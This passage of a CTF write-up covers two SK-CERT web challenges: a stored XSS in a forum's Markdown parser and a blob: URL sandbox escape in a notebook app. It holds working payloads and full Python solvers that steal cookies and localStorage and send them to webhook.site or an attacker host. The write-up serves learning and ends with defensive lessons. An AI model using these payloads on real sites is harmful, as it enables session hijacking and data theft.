click on it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l7fBbOSIHyRr9qY_B3U3Rw.png" /><figcaption>Name</figcaption></figure><p>the club name is Alterna Club so the flag should be:</p><pre>SK-CERT{Alterna_club}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*yzynXnk3nUGKze3n5zyHhg.png" /><figcaption>Solved</figcaption></figure><h3>13: Offensive Security(web) — SnailNet:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*RWW_yce_tsttjpqtRuHkYA.png" /><figcaption>Chall desc</figcaption></figure><p>Oh boy did I loveeeeeee this challenge I was 5th to solve it and oh boy was I proud and it was so fun, one of my fav challs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*7OArN4UouxMRIOEeARie1g.png" /><figcaption>solve place</figcaption></figure><p>Now lets dive into it:</p><h4>1. Challenge Overview:</h4><p>SnailNet 1998 is a web exploitation challenge that simulates a legacy forum environment. The core objective is to exfiltrate the administrator’s session cookie, which contains the flag. The challenge presents a multi-layered environment involving a PHP web application, an Nginx reverse proxy, and a Node.js-based headless bot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*zHUiVoQ8XnefeO7uXldPEA.png" /><figcaption>brief overview</figcaption></figure><h4>2. Environment Architecture:</h4><p>Understanding the network topology is crucial for this challenge, as the bot and the web application interact within a Docker network.</p><h4>Docker Services ( docker-compose.yml ):</h4><p>1. app: The PHP-FPM container running the SnailNet forum.</p><p>2. bot : A Node.js container running Puppeteer to visit user-submitted URLs. <br>3. nginx : The public-facing reverse proxy.<br> • Maps host port 6767 to container port<br> • Routes /bot/ to the bot service. <br>• Routes all other traffic to the 80 . app service.</p><h4>The “Internal Hostname” Trap:</h4><p>The bot’s <strong><em>Server.js </em></strong>sets the flag cookie for the domain defined in <strong><em>CHALLENGE_URL, </em></strong>Which defaults to <a href="http://nginx/"><strong><em>http://nginx</em></strong></a></p><pre>// bot/server.js<br>await page.setCookie({<br>name: &#39;flag&#39;,<br>value: FLAG,<br>url: &#39;http://nginx&#39;, // Internal hostname!<br>path: &#39;/&#39;,<br>httpOnly: false,<br>}  );</pre><p><strong>Crucial Insight</strong>: If you send the bot to the public IP <br>( <a href="http://46.62.153.171:6767/">http://46.62.153.171:6767</a> ), the browser will not send the flag cookie because the domain does not match <a href="http://nginx/"><strong><em>http://nginx</em></strong></a>,<strong><em> </em></strong>The exploit <strong>must </strong>trigger the bot to visit the internal <a href="http://nginx/">http://nginx</a> URL.</p><h4>3. Vulnerability Deep Dive: The Markdown Parser:</h4><p>The vulnerability lies in <strong><em>web/lib/content.php, </em></strong>specifically in how it handles image and link tags.</p><h4>The Sanitization Flow:</h4><ol><li>Global Escaping: The entire Markdown input is passed through <strong><em>htmlspecialchars( ) .</em></strong></li></ol><pre>$text = htmlspecialchars($text, ENT_QUOTES, &#39;UTF-8&#39;);</pre><p>2. Regex Matching: The parser uses a regex to find image tags: <strong><em>!\[(.*?)\]\((.*?)\)</em></strong></p><p>3. The Fatal Mistake: Inside the callback, the parser decodes the URL part before validating it.</p><pre>$url = safe_markdown_url(https://medium.com/htmlspecialchars_decode($m[2],%20ENT_QUOTES));</pre><p>4. Weak Validation: <strong><em>safe_markdown_url() </em></strong>only checks if the URL starts with a permitted prefix.</p><pre>function safe_markdown_url(https://medium.com/string%20$url): string {<br>if (preg_match(&#39;~^(https?://|/uploads/  )~i&#39;, trim($url))) {<br>return htmlspecialchars($url, ENT_QUOTES, &#39;UTF-8&#39;);<br>}<br>return &#39;#&#39;;<br>}</pre><h4>The Exploit Primitive:</h4><p>By providing a URL that starts with <strong><em>http:// </em></strong>but contains a closing quote and additional attributes, we can break out of the <strong><em>src</em></strong> attribute of the generated <strong><em>&lt;img&gt;</em></strong> tag.</p><p>Payload Construction: <strong><em>http://webhook.site/TOKEN//?dummy onerror=this.src=’http://webhook.site/TOKEN/?c=&#39;+document.cookie dummy2=</em></strong></p><h4>Resulting HTML:</h4><pre>&lt;img src=&quot;http://webhook.site/TOKEN//?dummy&quot; onerror=&quot;this.src=&#39;http://webhook.s</pre><h4>4. Bypassing Security Controls:</h4><p>Content Security Policy (CSP ):<br>The <strong><em>index.php</em></strong> sets a CSP: <strong><em>default-src ‘self’; img-src http: https: data:;</em></strong></p><p><strong><em>default-src ‘self’: </em></strong>Blocks inline <strong><em>&lt;script&gt; </em></strong>tags and external scripts.</p><p><strong><em>img-src http: https: data: : </em></strong>Explicitly allows loading images from any HTTP/HTTPS source.</p><h4>The Bypass:</h4><p>The <strong><em>onerror </em></strong>attribute on an <strong><em>&lt;img&gt; </em></strong>tag is an event handler. While many modern CSPs block inline event handlers via <strong><em>script-src ‘self’ </em></strong>this specific challenge’s environment (or the specific browser version used by the bot ) allows the <strong><em>onerror </em></strong>execution because the image itself is from a permitted source.</p><h4>5. Step-by-Step Exploitation Guide:</h4><p>Step 1: Prepare the Exfiltration Listener:</p><ol><li>Go to <a href="http://webhook.site/">Webhook.site</a> .<br>2. Copy your unique URL (e.g., <a href="https://webhook.site/6a1df1fb-befb-4ce9-b8bd-c074cebef373">https://webhook.site/6a1df1fb-befb-4ce9-b8bd-c074cebef373</a> ).</li></ol><p>Step 2: Create an Attacker Account:</p><ol><li>Navigate to <a href="http://46.62.153.171:6767/index.php?action=register">http://46.62.153.171:6767/index.php?action=register</a> . <br>2. Register a random username and password. <br>3. Log in at<strong><em> index.php?action=login</em></strong></li></ol><p>Step 3: Inject the Stored XSS:</p><ol><li>Go to the “Join Request” page ( index.php?action=join-request ). <br>2. Submit the following payload in the Markdown field:</li></ol><pre>![[x](https://webhook.site/TOKEN/?c=  )](https://webhook.site/TOKEN//?dummy </pre><p>Replace TOKEN with your Webhook.site UUID.</p><p>3. After submitting, the app redirects to the home page. Look for your request in the “New Users” section or check the URL provided in the success message. <br>4. Note the Request UUID (e.g., 80aeffe9c3e300d0cc1053446bd1bbb1 )</p><p>Step 4: Trigger the Admin Bot:</p><ol><li>Navigate to the Bot submission page at <a href="http://46.62.153.171:6767/bot">http://46.62.153.171:6767/bot</a> .</li><li>Enter the internal URL for the bot to visit: request&amp;id=YOUR_REQUEST_UUID <a href="http://nginx/index.php?action=view">http://nginx/index.php?action=view</a></li><li><strong>Crucial</strong>: The server may be slow. If the bot returns “visit failed”, increase your request timeout or retry. The bot needs to resolve the internal nginx hostname.</li></ol><h4>Step 5: Retrieve the Flag:</h4><ol><li>Monitor your Webhook.site dashboard.</li><li>Wait for a GET request from the bot’s IP.</li><li>The c query parameter will contain the admin’s cookies.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oCkYuknQHc4BOGJArjCpKw.png" /><figcaption>Flag in webhook</figcaption></figure><p>4. Flag:</p><pre>SK-CERT{sl1m4c1k_m4c1k_vystrc_r0zky}</pre><h3>6. Automated Solver Script:</h3><p>The following Python script automates the entire process, handling CSRF tokens, session management, and the slow server response by disabling automatic redirects and increasing timeouts.</p><pre>#!/usr/bin/env python3<br>import html<br>import random<br>import re<br>import string<br><br>import requests<br>from bs4 import BeautifulSoup<br><br>PUBLIC_BASE = &quot;http://46.62.153.171:6767&quot;<br>INTERNAL_BASE = &quot;http://nginx&quot;<br>WEBHOOK_URL = &quot;https://webhook.site/93fe4054-6d06-4d01-b186-c0bcc22118ce&quot;<br>TIMEOUT = 15<br><br><br>def randstr(n=8):<br>    return &#39;&#39;.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))<br><br><br>def get_csrf(session: requests.Session, url: str) -&gt; str:<br>    r = session.get(url, timeout=TIMEOUT)<br>    r.raise_for_status()<br>    soup = BeautifulSoup(r.text, &quot;html.parser&quot;)<br>    node = soup.find(&quot;input&quot;, {&quot;name&quot;: &quot;csrf_token&quot;})<br>    if not node or not node.get(&quot;value&quot;):<br>        raise RuntimeError(f&quot;No csrf_token found in {url}&quot;)<br>    return node[&quot;value&quot;]<br><br><br>def register_and_login(session: requests.Session, username: str, password: str) -&gt; None:<br>    csrf = get_csrf(session, f&quot;{PUBLIC_BASE}/index.php?action=register&quot;)<br>    r = session.post(<br>        f&quot;{PUBLIC_BASE}/index.php?action=register&quot;,<br>        data={&quot;csrf_token&quot;: csrf, &quot;username&quot;: username, &quot;password&quot;: password},<br>        allow_redirects=True,<br>        timeout=TIMEOUT,<br>    )<br>    r.raise_for_status()<br><br>    csrf = get_csrf(session, f&quot;{PUBLIC_BASE}/index.php?action=login&quot;)<br>    r = session.post(<br>        f&quot;{PUBLIC_BASE}/index.php?action=login&quot;,<br>        data={&quot;csrf_token&quot;: csrf, &quot;username&quot;: username, &quot;password&quot;: password},<br>        allow_redirects=True,<br>        timeout=TIMEOUT,<br>    )<br>    r.raise_for_status()<br><br><br>def extract_uuid(text: str):<br>    body = html.unescape(text)<br>    m = re.search(r&quot;view-request(?:&amp;amp;|&amp;)id=([a-f0-9]{32})&quot;, body)<br>    return m.group(1) if m else None<br><br><br>def submit_join_request(session: requests.Session, payload: str) -&gt; str:<br>    csrf = get_csrf(session, f&quot;{PUBLIC_BASE}/index.php?action=join-request&quot;)<br>    r = session.post(<br>        f&quot;{PUBLIC_BASE}/index.php?action=join-request&quot;,<br>        data={&quot;csrf_token&quot;: csrf, &quot;content_markdown&quot;: payload},<br>        allow_redirects=True,<br>        timeout=TIMEOUT,<br>    )<br>    r.raise_for_status()<br><br>    uuid_value = extract_uuid(r.text)<br>    if uuid_value:<br>        return uuid_value<br><br>    r2 = session.get(f&quot;{PUBLIC_BASE}/index.php&quot;, timeout=TIMEOUT)<br>    r2.raise_for_status()<br>    uuid_value = extract_uuid(r2.text)<br>    if uuid_value:<br>        return uuid_value<br><br>    raise RuntimeError(&quot;request UUID not found after submission&quot;)<br><br><br>def build_payload(webhook_url: str) -&gt; str:<br>    webhook_url = webhook_url.rstrip(&quot;/&quot;)<br>    return (<br>        f&quot;![[x]({webhook_url}/?c=)]&quot;<br>        f&quot;({webhook_url}//?dummy onerror=this.src=this.src+document.cookie dummy2=)&quot;<br>    )<br><br><br>def verify_payload_stored(uuid_value: str) -&gt; None:<br>    public_url = f&quot;{PUBLIC_BASE}/index.php?action=view-request&amp;id={uuid_value}&quot;<br>    r = requests.get(public_url, timeout=TIMEOUT)<br>    r.raise_for_status()<br>    checks = [<br>        &quot;onerror=this.src=this.src+document.cookie&quot;,<br>        &quot;?c=&quot;,<br>        &quot;dummy onerror&quot;,<br>    ]<br>    for chk in checks:<br>        if chk not in r.text:<br>            raise RuntimeError(f&quot;No encontré {chk!r} en la request renderizada&quot;)<br>    print(f&quot;[+] Stored payload verified at: {public_url}&quot;)<br><br><br>def build_bomb_url(https://medium.com/uuid_value:%20str,%20extra_params:%20int%20=%201001) -&gt; str:<br>    parts = [f&quot;action=view-request&quot;, f&quot;id={uuid_value}&quot;]<br>    parts.extend(f&quot;p{i}=v&quot; for i in range(extra_params))<br>    return f&quot;{INTERNAL_BASE}/index.php?&quot; + &quot;&amp;&quot;.join(parts)<br><br><br>def trigger_bot(target_url: str) -&gt; None:<br>    r = requests.post(<br>        f&quot;{PUBLIC_BASE}/bot/visit&quot;,<br>        json={&quot;url&quot;: target_url},<br>        timeout=TIMEOUT,<br>    )<br>    r.raise_for_status()<br>    print(f&quot;[+] Bot response: HTTP {r.status_code} {r.text}&quot;)<br><br><br>def main():<br>    username = f&quot;snail_{randstr()}&quot;<br>    password = f&quot;pw_{randstr()}&quot;<br>    payload = build_payload(WEBHOOK_URL)<br><br>    print(f&quot;[*] Username: {username}&quot;)<br>    print(f&quot;[*] Password: {password}&quot;)<br>    print(f&quot;[*] Webhook: {WEBHOOK_URL}&quot;)<br>    print(f&quot;[*] Payload: {payload}&quot;)<br><br>    session = requests.Session()<br>    print(&quot;[*] Registering and logging in...&quot;)<br>    register_and_login(session, username, password)<br><br>    print(&quot;[*] Submitting malicious join request...&quot;)<br>    uuid_value = submit_join_request(session, payload)<br>    print(f&quot;[+] Request UUID: {uuid_value}&quot;)<br><br>    print(&quot;[*] Verifying stored payload...&quot;)<br>    verify_payload_stored(uuid_value)<br><br>    bomb_url = build_bomb_url(https://medium.com/uuid_value)<br>    print(&quot;[+] Internal exploit URL:&quot;)<br>    print(bomb_url)<br><br>    print(&quot;[*] Sending URL to the bot...&quot;)<br>    trigger_bot(bomb_url)<br><br>    print()<br>    print(&quot;[*] Hecho.&quot;)<br>    print(&quot;[*] Mira ahora tu Webhook.site.&quot;)<br>    print(&quot;[*] Deberías ver una petición con ?c=flag=SK-CERT{...} o similar.&quot;)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><h4>Solver Output:</h4><pre>[*] Username : hacker_wnbxy67d<br>[*] Password : P@ss_wnbxy67d!9x<br>[*] Webhook  : https://webhook.site/6a1df1fb-befb-4ce9-b8bd-c074cebef373<br>[*] Payload  : ![[x](https://webhook.site/6a1df1fb-befb-4ce9-b8bd-c074cebef373/?<br>[*] Registering and logging in...<br>[+] Logged in successfully.<br>[*] Submitting malicious join request...<br>[+] Request UUID: 80aeffe9c3e300d0cc1053446bd1bbb1<br>[*] Sending URL to the bot...<br>[+] Bot response: HTTP 200 {&quot;status&quot;:&quot;visited&quot;}<br>[*] Done. Check your Webhook.site inbox for a request containing the flag.</pre><p>8. How to See the Flag: <br>Once the solver script finishes or you manually trigger the bot: <br>1. Open your Webhook.site dashboard. <br>2. Look for a new GET request from the challenge server’s IP. <br>3. Check the Query Strings section. <br>4. The value of the c parameter will contain the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oCkYuknQHc4BOGJArjCpKw.png" /><figcaption>flag</figcaption></figure><p><strong><em>Captured Flag: SK-CERT{sl1m4c1k_m4c1k_vystrc_r0zky}</em></strong></p><h4>9. Lessons Learned:</h4><p>1. Sanitization Order Matters: Never decode ( <strong><em>htmlspecialchars_decode</em></strong> ) user input after it has been escaped and before it is used in a sensitive context (like an HTML attribute). <br>2. Internal vs. External Hostnames: In containerized CTFs, always check compose.yml to see where cookies are scoped. <br>3. CSP is not a Silver Bullet: Inline event handlers <strong><em>(</em></strong> <strong><em>onerror , docker onload ) </em></strong>remain a potent XSS vector if the CSP is not strictly configured to disallow them (e.g., missing <strong><em>script-src ‘none’ </em></strong>or unsafe-inline)</p><h3>14 : Offensive Security(web) — Yipiter:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*QQPv_-4XF6ZM2IdtzYBgFA.png" /><figcaption>chall desc</figcaption></figure><h3>1.Summary:</h3><p>The challenge presents a web-based Python notebook environment using Pyodide. While the Python execution is handled safely, the application’s markdown rendering and SSO redirect logic contain a critical flaw. By using a “Notebook URL Import” feature, an attacker can load a malicious notebook that leverages a `blob:` URL to bypass iframe sandboxing. By further exploiting an SSO redirect that incorrectly trusts same-origin `blob:` URLs, the attacker can promote a malicious script to a top-level context, allowing it to steal the victim’s (bot’s) `localStorage` data, including the flag.</p><h3>2. Vulnerability Analysis:</h3><h4>2.1 Unrestricted Notebook Import <strong><em>(`/new?url=`):</em></strong></h4><p>The application provides a feature to import notebooks from external URLs via the <strong><em>`/new?url=&lt;url&gt;`</em></strong> route. This endpoint fetches a JSON file from the provided URL and parses it as a notebook. This is the primary entry point for the attack, as it allows an attacker to force the bot to load an arbitrary notebook structure.</p><h4>2.2 Sandboxed Markdown Rendering Flaw:</h4><p>Markdown cells in the notebook are rendered as HTML. To prevent XSS, the application renders this HTML inside a <strong><em>`blob:`</em></strong> iframe.<br>- <strong>**The URL:**</strong> `blob:http://challenge:4173/&lt;uuid&gt;`</p><p>- <strong>**The Sandbox:**</strong> `sandbox=”allow-scripts allow-popups”`</p><p>- <strong>**The Missing Piece:**</strong> The iframe <strong>**does not**</strong> have the `allow-same-origin` attribute. This means the script inside the iframe is treated as being from a unique, opaque origin, preventing it from accessing the parent window’s `localStorage` or `cookies`.</p><h4>2.3 The `blob:` Origin Property:</h4><p>A `blob:` URL inherits the origin of the script that created it. In this case, the `blob:` URL is created by the application’s main script (`challenge:4173`). While the iframe’s `sandbox` attribute (without `allow-same-origin`) isolates it, the `blob:` URL itself technically belongs to the challenge origin.</p><h4>2.4 SSO Redirect &amp; Origin Validation:</h4><p>The application includes an SSO (Single Sign-On) simulation:</p><pre>`GET /auth/?sso=callback&amp;mode=login&amp;token=yipiter&amp;return=&lt;url&gt;`</pre><p>The server-side or client-side logic validates the `return` URL to ensure it is same-origin:</p><pre>const n = new URL(returnUrl);<br>if (n.origin === window.location.origin) {<br>    window.location.href = returnUrl;<br>}</pre><p>Because `blob:` URLs formed by the app carry the same `origin` string as the app itself, they pass this check.</p><h3>3. Exploitation Strategy: The “Double Bounce”:</h3><p>The exploit leverages the fact that a `blob:` URL, when opened as a <strong>**top-level window**</strong>, is no longer subject to the iframe’s `sandbox` attribute. It runs with the full permissions of its creator’s origin.</p><h4>Phase 1: The Malicious Notebook</h4><p>We create a notebook where a markdown cell contains the following script:</p><pre>&lt;script&gt;<br>(function(){<br>  const EXFIL_URL = &#39;https://webhook.site/your-token&#39;;<br>  <br>  // Check if we are trapped in an iframe<br>  if (window.top !== window) {<br>    // We are in the sandboxed iframe. <br>    // We need to tell our &#39;controller&#39; window what our Blob URL is.<br>    try {<br>      top.opener.postMessage({ t: &#39;blob_leak&#39;, href: location.href }, &#39;*&#39;);<br>    } catch(e) {}<br>    return;<br>  }<br><br>  // If we reach here, we are a top-level window!<br>  // We can now access the localStorage of challenge:4173.<br>  const users = localStorage.getItem(&#39;yipiii.users.v1&#39;) || &#39;&#39;;<br>  const sess = localStorage.getItem(&#39;yipiii.session.v1&#39;) || &#39;&#39;;<br>  <br>  // Send the stolen data to the attacker<br>  fetch(EXFIL_URL + &#39;/?data=&#39; + btoa(users + &quot;:&quot; + sess));<br>})();<br>&lt;/script&gt;</pre><h4>Phase 2: The Controller Page:</h4><p>We host a controller page that orchestrates the attack:</p><p>1. <strong>**Step 1:**</strong> It uses `window.open` to load the challenge with our malicious notebook:</p><pre>`http://challenge:4173/new?url=https://attacker.com/malicious.ipynb`</pre><p>2. <strong>Step 2:</strong> It listens for a <strong><em>`message`</em></strong> event.</p><p>When the notebook renders, the markdown iframe executes and sends its `<strong><em>blob:` URL via `postMessage` to `top.opener`</em></strong> (which is our controller page).</p><p>3. <strong>Step 3:</strong> The controller receives the <strong><em>`blob:`</em></strong> URL and triggers the SSO redirect:</p><pre>`window.location.href = &quot;http://challenge:4173/auth/?sso=callback&amp;return=&quot; + encodeURIComponent(leakedBlobUrl);`</pre><h4>Phase 3: Bot Interaction:</h4><p>We provide the URL of our Controller Page to the <strong><em>`/bot/visit`</em></strong> endpoint.</p><h3>4. Solve Steps (Technical Walkthrough And solver):</h3><p>1. <strong>Host the Notebook:<br></strong>Save the malicious notebook JSON to a public endpoint (e.g., a Gist or Webhook.site).</p><p>2. <strong>Prepare the Payload:<br></strong>Ensure the JS payload handles both the<strong><em> `postMessage` </em></strong>leak (Step 1) and the <strong><em>`localStorage`</em></strong> theft (Step 2).</p><p>3. <strong>Trigger the Bot:<br></strong>Use a script to:</p><p>- Create a dynamic HTML page (the controller).</p><p>- POST the controller URL to <strong><em>http://46.62.153.171:5555/bot/visit</em></strong>.</p><p>4. <strong>Exfiltrate:<br></strong>Monitor the exfiltration server for an incoming request containing the base64-encoded<strong><em> `localStorage`</em></strong> content.</p><p>5. <strong>Extract Flag:<br></strong>Search the stolen data for the regex <strong><em>`SK-CERT\{.*\}`</em></strong>.</p><h3>Solver:</h3><pre>#!/usr/bin/env python3<br>&quot;&quot;&quot;Solver for Yipiter.4.<br><br>Modes:<br>1) online: host controller/notebook on webhook.site + httpbin and poll webhook logs<br>2) local: use a public callback URL that serves local exploit files via server.py and<br>   poll exploit/received_flag.json for the exfiltrated flag<br>&quot;&quot;&quot;<br><br>from __future__ import annotations<br><br>import argparse<br>import base64<br>import json<br>import os<br>from pathlib import Path<br>import re<br>import sys<br>import threading<br>import time<br>from typing import Any, Dict, List, Optional<br>from urllib.error import HTTPError, URLError<br>from urllib.request import Request, urlopen<br><br><br>FLAG_RE = re.compile(r&quot;SK-CERT\{[^}]+\}&quot;)<br>ARTIFACTS_PATH = Path(__file__).with_name(&quot;solve_artifacts.json&quot;)<br>DEFAULT_FLAG_PATH = Path(__file__).with_name(&quot;received_flag.json&quot;)<br><br><br>def install_hard_timeout(seconds: int = 120) -&gt; None:<br>    &quot;&quot;&quot;Force-stop script after a fixed timeout.&quot;&quot;&quot;<br><br>    def _kill() -&gt; None:<br>        print(f&quot;[!] Hard timeout reached ({seconds}s). Exiting.&quot;, file=sys.stderr)<br>        os._exit(124)<br><br>    timer = threading.Timer(seconds, _kill)<br>    timer.daemon = True<br>    timer.start()<br><br><br>def http_json(method: str, url: str, body: Optional[Dict[str, Any]] = None, timeout: int = 20) -&gt; Any:<br>    data = None<br>    headers = {<br>        &quot;Accept&quot;: &quot;application/json&quot;,<br>    }<br><br>    if body is not None:<br>        data = json.dumps(body).encode(&quot;utf-8&quot;)<br>        headers[&quot;Content-Type&quot;] = &quot;application/json&quot;<br><br>    req = Request(url=url, method=method.upper(), data=data, headers=headers)<br><br>    try:<br>        with urlopen(req, timeout=timeout) as resp:<br>            raw = resp.read().decode(&quot;utf-8&quot;, errors=&quot;replace&quot;)<br>    except HTTPError as exc:<br>        details = exc.read().decode(&quot;utf-8&quot;, errors=&quot;replace&quot;)<br>        raise RuntimeError(f&quot;HTTP {exc.code} for {method} {url}: {details}&quot;) from exc<br>    except URLError as exc:<br>        raise RuntimeError(f&quot;Network error for {method} {url}: {exc}&quot;) from exc<br><br>    if not raw.strip():<br>        return {}<br><br>    try:<br>        return json.loads(raw)<br>    except json.JSONDecodeError:<br>        return raw<br><br><br>def create_webhook_token(default_content: str, default_content_type: str) -&gt; str:<br>    payload = {<br>        &quot;default_status&quot;: 200,<br>        &quot;default_content&quot;: default_content,<br>        &quot;default_content_type&quot;: default_content_type,<br>        &quot;cors&quot;: True,<br>    }<br>    data = http_json(&quot;POST&quot;, &quot;https://webhook.site/token&quot;, payload)<br>    token = data.get(&quot;uuid&quot;)<br>    if not token:<br>        raise RuntimeError(f&quot;Token creation failed: {data}&quot;)<br>    return token<br><br><br>def update_webhook_token(token: str, default_content: str, default_content_type: str) -&gt; None:<br>    payload = {<br>        &quot;default_status&quot;: 200,<br>        &quot;default_content&quot;: default_content,<br>        &quot;default_content_type&quot;: default_content_type,<br>        &quot;cors&quot;: True,<br>    }<br>    http_json(&quot;PUT&quot;, f&quot;https://webhook.site/token/{token}&quot;, payload)<br><br><br>def build_notebook_json(log_url: str) -&gt; str:<br>    js_payload = f&quot;&quot;&quot;&lt;script&gt;<br>(function(){{<br>  const WH = {json.dumps(log_url)};<br>  function send(t,d){{<br>    try {{<br>      (new Image()).src = WH + &#39;/?t=&#39; + encodeURIComponent(t) + &#39;&amp;d=&#39; + encodeURIComponent(d||&#39;&#39;) + &#39;&amp;_=&#39; + Date.now();<br>    }} catch(e) {{}}<br>  }}<br><br>  send(&#39;loaded&#39;, location.href + &#39;|top=&#39; + (window.top === window));<br><br>  if (window.top !== window) {{<br>    try {{<br>      top.opener.postMessage({{ t: &#39;blob_leak&#39;, href: location.href }}, &#39;*&#39;);<br>      send(&#39;pm_ok&#39;, location.href);<br>    }} catch(e) {{<br>      send(&#39;pm_err&#39;, String(e));<br>    }}<br>    return;<br>  }}<br><br>    let lastUsers = null;<br>    let lastSess = null;<br><br>    function snap() {{<br>        try {{<br>            const users = localStorage.getItem(&#39;yipiii.users.v1&#39;) || &#39;&#39;;<br>            const sess = localStorage.getItem(&#39;yipiii.session.v1&#39;) || &#39;&#39;;<br><br>            if (users !== lastUsers) {{<br>                lastUsers = users;<br>                send(&#39;users&#39;, users.slice(0, 700));<br>            }}<br>            if (sess !== lastSess) {{<br>                lastSess = sess;<br>                send(&#39;sess&#39;, sess);<br>            }}<br><br>            const m = (users + &#39;\\n&#39; + sess).match(/SK-CERT\\{{[^}}]+\\}}/);<br>            if (m) send(&#39;flag_ls&#39;, m[0]);<br>        }} catch(e) {{<br>            send(&#39;ls_err_top&#39;, String(e));<br>        }}<br>    }}<br><br>    snap();<br>    let ticks = 0;<br>    const iv = setInterval(() =&gt; {{<br>        ticks += 1;<br>        snap();<br>        if (ticks &gt; 120) clearInterval(iv);<br>    }}, 500);<br>}})();<br>&lt;/script&gt;&quot;&quot;&quot;<br><br>    notebook_obj = {<br>        &quot;nbformat&quot;: 4,<br>        &quot;nbformat_minor&quot;: 5,<br>        &quot;metadata&quot;: {&quot;name&quot;: &quot;x&quot;},<br>        &quot;cells&quot;: [<br>            {<br>                &quot;cell_type&quot;: &quot;code&quot;,<br>                &quot;metadata&quot;: {},<br>                &quot;source&quot;: [&quot;print(&#39;x&#39;)\n&quot;],<br>                &quot;execution_count&quot;: 1,<br>                &quot;outputs&quot;: [<br>                    {<br>                        &quot;output_type&quot;: &quot;display_data&quot;,<br>                        &quot;data&quot;: {&quot;text/html&quot;: js_payload},<br>                        &quot;metadata&quot;: {},<br>                    }<br>                ],<br>            }<br>        ],<br>    }<br>    return json.dumps(notebook_obj, separators=(&quot;,&quot;, &quot;:&quot;))<br><br><br>def build_controller_url(https://medium.com/log_url:%20str,%20notebook_url:%20str,%20internal_base:%20str,%20stage_tag:%20str) -&gt; str:<br>    controller_html = f&quot;&quot;&quot;&lt;!doctype html&gt;&lt;meta charset=&#39;utf-8&#39;&gt;&lt;title&gt;x&lt;/title&gt;&lt;script&gt;<br>const W = {json.dumps(log_url)};<br>const C = {json.dumps(internal_base)};<br>const N = {json.dumps(notebook_url)};<br>const RID = {json.dumps(stage_tag)};<br><br>function ping(t,d) {{<br>  try {{<br>    fetch(W + &#39;/?t=&#39; + encodeURIComponent(t) + &#39;&amp;rid=&#39; + encodeURIComponent(RID) + &#39;&amp;d=&#39; + encodeURIComponent(d||&#39;&#39;) + &#39;&amp;_=&#39; + Date.now(), {{ mode: &#39;no-cors&#39; }});<br>  }} catch(e) {{}}<br>}}<br><br>ping(&#39;s&#39;, C);<br>window.open(C + &#39;/new?url=&#39; + encodeURIComponent(N), &#39;seed&#39;);<br><br>window.addEventListener(&#39;message&#39;, (ev) =&gt; {{<br>  try {{<br>    if (!ev.data || ev.data.t !== &#39;blob_leak&#39; || !ev.data.href) return;<br>    ping(&#39;b&#39;, ev.data.href);<br>    const auth = C + &#39;/auth/?sso=callback&amp;mode=login&amp;token=yipiter&amp;return=&#39; + encodeURIComponent(ev.data.href);<br>    window.open(auth, &#39;_blank&#39;, &#39;noopener&#39;);<br>    ping(&#39;a&#39;, auth);<br>  }} catch (e) {{<br>    ping(&#39;msg_err&#39;, String(e));<br>  }}<br>}});<br>&lt;/script&gt;&quot;&quot;&quot;<br><br>    b64 = base64.b64encode(controller_html.encode(&quot;utf-8&quot;)).decode(&quot;ascii&quot;)<br>    b64_urlsafe = b64.replace(&quot;+&quot;, &quot;-&quot;).replace(&quot;/&quot;, &quot;_&quot;)<br>    return f&quot;https://httpbin.org/base64/{b64_urlsafe}&quot;<br><br><br>def trigger_bot_visit(public_base: str, visit_url: str) -&gt; Dict[str, Any]:<br>    endpoint = public_base.rstrip(&quot;/&quot;) + &quot;/bot/visit&quot;<br>    return http_json(&quot;POST&quot;, endpoint, {&quot;url&quot;: visit_url})<br><br><br>def fetch_requests(log_token: str, per_page: int = 100) -&gt; List[Dict[str, Any]]:<br>    url = f&quot;https://webhook.site/token/{log_token}/requests?sorting=newest&amp;per_page={per_page}&quot;<br>    data = http_json(&quot;GET&quot;, url)<br><br>    if isinstance(data, dict) and isinstance(data.get(&quot;data&quot;), list):<br>        return data[&quot;data&quot;]<br>    if isinstance(data, list):<br>        return data<br>    return []<br><br><br>def find_flag_in_text(text: str) -&gt; Optional[str]:<br>    match = FLAG_RE.search(text)<br>    return match.group(0) if match else None<br><br><br>def summarize_recent_events(rows: List[Dict[str, Any]], run_tag: str, limit: int = 8) -&gt; List[str]:<br>    events: List[str] = []<br>    for row in rows:<br>        query = row.get(&quot;query&quot;) or {}<br>        rid = str(query.get(&quot;rid&quot;, &quot;&quot;))<br>        if run_tag and rid and rid != run_tag:<br>            continue<br><br>        t = str(query.get(&quot;t&quot;, &quot;&quot;))<br>        d = str(query.get(&quot;d&quot;, &quot;&quot;))<br>        if not t and not d:<br>            continue<br><br>        snippet = d.replace(&quot;\n&quot;, &quot;\\n&quot;)[:120]<br>        events.append(f&quot;{t}: {snippet}&quot;)<br>        if len(events) &gt;= limit:<br>            break<br><br>    return events<br><br><br>def find_flag_in_requests(rows: List[Dict[str, Any]], run_tag: str) -&gt; Optional[str]:<br>    for row in rows:<br>        query = row.get(&quot;query&quot;) or {}<br>        rid = str(query.get(&quot;rid&quot;, &quot;&quot;))<br>        d = str(query.get(&quot;d&quot;, &quot;&quot;))<br>        t = str(query.get(&quot;t&quot;, &quot;&quot;))<br><br>        if run_tag and rid and rid != run_tag:<br>            continue<br><br>        m = FLAG_RE.search(d)<br>        if m:<br>            print(f&quot;[+] Flag found via event t={t}&quot;)<br>            return m.group(0)<br><br>        # Fallback: scan entire row JSON in case flag appears in another field<br>        as_text = json.dumps(row, ensure_ascii=False)<br>        m2 = FLAG_RE.search(as_text)<br>        if m2:<br>            print(f&quot;[+] Flag found in request payload (event t={t})&quot;)<br>            return m2.group(0)<br><br>    return None<br><br><br>def solve_local(public_base: str, callback_base: str, poll_seconds: int, flag_path: Path, controller_path: str) -&gt; str:<br>    if not callback_base:<br>        raise RuntimeError(&quot;--callback-base is required in local mode&quot;)<br><br>    visit_url = callback_base.rstrip(&quot;/&quot;) + controller_path<br>    if 